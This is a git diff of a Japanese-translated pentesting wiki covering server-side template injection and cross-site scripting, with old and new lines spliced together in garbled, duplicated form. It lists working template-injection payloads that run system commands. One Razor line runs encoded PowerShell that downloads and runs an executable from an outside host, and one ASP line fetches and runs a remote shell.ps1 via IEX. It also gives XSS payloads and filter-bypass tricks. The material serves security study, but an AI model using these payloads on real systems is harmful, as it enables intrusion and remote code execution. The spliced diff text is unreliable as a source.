``` ```
### Other Java
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
* 詳細は [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) を参照してください。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 [**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -502,7 +516,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template // Render a template
echo $templates->render('profile', ['name' => 'Jonathan']); echo $templates->render('profile', ['name' => 'Jonathan']);
``` ```
ページテンプレート: ページテンプレート
```php ```php
<?php $this->layout('template', ['title' => 'User Profile']) ?> <?php $this->layout('template', ['title' => 'User Profile']) ?>
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### その他のPHP
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
* 詳細情報は [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS) ### Jade (NodeJS)
```javascript ```javascript
- var x = root.process - var x = root.process
@ -604,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP) ### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイル型PHPテンプレーティングエンジンです。 > [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイル型PHPテンプレーティングエンジンです。
```xml ```xml
<patTemplate:tmpl name="page"> <patTemplate:tmpl name="page">
This is the main page. This is the main page.
@ -660,11 +680,11 @@ URLencoded:
### JsRender (NodeJS) ### JsRender (NodeJS)
| **テンプレート** | **説明** | | **テンプレート** | **説明** |
| ---------------- | ------------------------------------ | | -------------- | ------------------------------------ |
| | 出力を評価してレンダリングする | | | 出力を評価してレンダリングする |
| | HTMLエンコードされた出力を評価してレンダリングする | | | HTMLエンコードされた出力を評価してレンダリングする |
| | コメント | | | コメント |
| そして | コードを許可する(デフォルトで無効) | | および | コードを許可する(デフォルトで無効) |
* \= 49 * \= 49
@ -709,12 +729,20 @@ home = pugjs.render(injected_page)
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### その他のNodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。
### ERB (Ruby) ### ERB (Ruby)
* `{{7*7}} = {{7*7}}` * `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}` * `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49` * `<%= 7*7 %> = 49`
* `<%= foobar %> = エラー` * `<%= foobar %> = Error`
```python ```python
<%= system("whoami") %> #Execute code <%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder <%= Dir.entries('/') %> #List folder
@ -740,9 +768,17 @@ home = pugjs.render(injected_page)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### その他のRuby
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
* 詳細情報は [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) を参照してください。
### Python ### Python
以下のページをチェックして、Pythonでの**サンドボックスを回避した任意のコマンド実行**に関するトリックを学んでください: **サンドボックスをバイパスする任意のコマンド実行**に関するトリックを学ぶには、以下のページをチェックしてください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -752,7 +788,7 @@ home = pugjs.render(injected_page)
* `{{7*7}} = 49` * `{{7*7}} = 49`
* `${7*7} = ${7*7}` * `${7*7} = ${7*7}`
* `{{foobar}} = Error` * `{{foobar}} = エラー`
* `{{7*'7'}} = 7777777` * `{{7*'7'}} = 7777777`
```python ```python
{% raw %} {% raw %}
@ -778,7 +814,7 @@ home = pugjs.render(injected_page)
[公式ウェブサイト](http://jinja.pocoo.org) [公式ウェブサイト](http://jinja.pocoo.org)
> Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を備えており、広く使用されており、BSDライセンスです。 > Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を持ち、広く使用されており、BSDライセンスです。
* `{{7*7}} = エラー` * `{{7*7}} = エラー`
* `${7*7} = ${7*7}` * `${7*7} = ${7*7}`
@ -836,7 +872,7 @@ home = pugjs.render(injected_page)
[jinja2-ssti.md](jinja2-ssti.md) [jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %} {% endcontent-ref %}
他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にあります。 他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
### Mako (Python) ### Mako (Python)
```python ```python
@ -846,26 +882,34 @@ x=os.popen('id').read()
%> %>
${x} ${x}
``` ```
**詳細情報** **More information**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Other Python
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
* 詳細情報は [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) を参照してください。
### Razor (.Net) ### Razor (.Net)
* `@(2+2) <= 成功` * `@(2+2) <= Success`
* `@() <= 成功` * `@() <= Success`
* `@("{{code}}") <= 成功` * `@("{{code}}") <= Success`
* `@ <= 成功` * `@ <=Success`
* `@{} <= エラー!` * `@{} <= ERROR!`
* `@{ <= エラー!` * `@{ <= ERRROR!`
* `@(1+2)` * `@(1+2)`
* `@( //C#コード )` * `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
.NETの`System.Diagnostics.Process.Start`メソッドは、サーバー上で任意のプロセスを開始し、ウェブシェルを作成するために使用できます。脆弱なウェブアプリの例は[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)で見つけることができます。 .NET `System.Diagnostics.Process.Start` メソッドは、サーバー上で任意のプロセスを開始し、ウェブシェルを作成するために使用できます。脆弱なウェブアプリの例は [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) で見つけることができます。
**詳細情報** **More information**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
@ -874,8 +918,8 @@ ${x}
* `<%= 7*7 %>` = 49 * `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo * `<%= "foo" %>` = foo
* `<%= foo %>` = 何も表示されません * `<%= foo %>` = Nothing
* `<%= response.write(date()) %>` = \<日付> * `<%= response.write(date()) %>` = \<Date>
```xml ```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
``` ```
@ -901,9 +945,11 @@ Goのテンプレートエンジンでは、特定のペイロードを使用し
* `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。 * `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。
* `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [こちら](https://golang.org/pkg/text/template)。 * `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [こちら](https://golang.org/pkg/text/template)。
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation** **XSS Exploitation**
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこのためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}`は`&lt;script&gt;alert(1)&lt;/script&gt;`になります。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} `text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}`は`&lt;script&gt;alert(1)&lt;/script&gt;`になります。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code vbnet Copy code
@ -925,7 +971,7 @@ return string(out)
### さらなるエクスプロイト ### さらなるエクスプロイト
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) で他のエクスプロイトを確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) で興味深いタグ情報見つけることができます。 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) の残りのエクスプロイトを確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) で興味深いタグ情報見つけることができます。
## BlackHat PDF ## BlackHat PDF
@ -933,7 +979,7 @@ return string(out)
## 関連ヘルプ ## 関連ヘルプ
役立つと思う場合は、以下をお読みください: 役立つと思う場合は、をお読みください:
* [Flaskのトリック](../../network-services-pentesting/pentesting-web/flask.md) * [Flaskのトリック](../../network-services-pentesting/pentesting-web/flask.md)
* [Pythonのマジック関数](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) * [Pythonのマジック関数](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
@ -949,7 +995,7 @@ return string(out)
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## 実践と参考 ## 実践と参考文献
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
@ -957,7 +1003,7 @@ return string(out)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 [**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}

View file

@ -1,8 +1,8 @@
# XSS (クロスサイトスクリプティング) # XSS (クロスサイトスクリプティング)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -11,7 +11,7 @@
1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_、_クッキー_) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。 1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_、_クッキー_) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。
2. **反映されている/使用されているコンテキストを見つけます** 2. **反映されている/使用されているコンテキストを見つけます**
3. **反映されている場合** 3. **反映されている場合**
1. **使用できる記号を確認し**、それに応じてペイロードを準備します: 1. **使用できる記号を確認**し、それに応じてペイロードを準備します:
1. **生のHTML**内で: 1. **生のHTML**内で:
1. 新しいHTMLタグを作成できますか 1. 新しいHTMLタグを作成できますか
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか? 2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
@ -20,7 +20,7 @@
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。 5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
2. **HTMLタグ内で** 2. **HTMLタグ内で**
1. 生のHTMLコンテキストに抜け出せますか 1. 生のHTMLコンテキストに抜け出せますか
2. JSコードを実行する新しいイベント/属性を作成できますか? 2. JSコードを実行するための新しいイベント/属性を作成できますか?
3. あなたが閉じ込められている属性はJS実行をサポートしていますか 3. あなたが閉じ込められている属性はJS実行をサポートしていますか
4. 保護を回避できますか? 4. 保護を回避できますか?
3. **JavaScriptコード内で** 3. **JavaScriptコード内で**
@ -41,15 +41,15 @@
## 反映された値 ## 反映された値
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。 XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。 * **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映XSS**を悪用できるかもしれません。
* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。 * **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存XSS**を悪用できるかもしれません。
* **JS経由でアクセスされた**あなたが制御する値がJSを使用してアクセスされていることがわかった場合、**DOM XSS**を悪用できるかもしれません。 * **JS経由でアクセスされた**あなたが制御する値がJSを使用してアクセスされていることがわかった場合、**DOM XSS**を悪用できるかもしれません。
## コンテキスト ## コンテキスト
XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。 XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。
### 生のHTML ### 生のHTML
@ -61,11 +61,11 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます: あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
1. **属性とタグから抜け出す**その後、生のHTMLにいることになります新しいHTMLタグを作成して悪用します`"><img [...]` 1. **属性とタグから抜け出す**その後、生のHTMLにいることになります新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="` 2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じて**JSコードを実行するイベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** 3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できるかもしれません(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`** 4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
クラス名を制御している場合のAngularがXSSを実行する奇妙な例: クラス名を制御している場合のAngularによるXSSの奇妙な例:
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -89,7 +89,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
``` ```
#### Javascript Hoisting #### Javascript Hoisting
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\ Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\
**詳細については、以下のページを確認してください:** **詳細については、以下のページを確認してください:**
{% content-ref url="js-hoisting.md" %} {% content-ref url="js-hoisting.md" %}
@ -104,9 +104,9 @@ Javascript Hoistingは、**関数、変数、またはクラスを使用した
![](<../../.gitbook/assets/image (711).png>) ![](<../../.gitbook/assets/image (711).png>)
もし脆弱であれば、**値を送信するだけでアラートをトリガーできるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。** 脆弱性がある場合、**値を送信するだけでアラートをトリガーできるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**: しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
![](<../../.gitbook/assets/image (747).png>) ![](<../../.gitbook/assets/image (747).png>)
@ -166,7 +166,7 @@ _**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\**
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\ しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
許可されているタグを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。 どのタグが許可されているかを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
### タグ/イベントのブルートフォース ### タグ/イベントのブルートフォース
@ -180,7 +180,7 @@ _**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\**
``` ```
### ブラックリストバイパス ### ブラックリストバイパス
もし何らかのブラックリストが使用されている場合、いくつかのくだらないトリックを使ってバイパスを試みることができます もし何らかのブラックリストが使用されている場合、いくつかのくだらないトリックを使ってバイパスを試みることができます:
```javascript ```javascript
//Random capitalization //Random capitalization
<script> --> <ScrIpT> <script> --> <ScrIpT>
@ -247,18 +247,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Click XSS - Clickjacking ### Click XSS - Clickjacking
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable). もし脆弱性を悪用するために**ユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
### Impossible - Dangling Markup ### Impossible - Dangling Markup
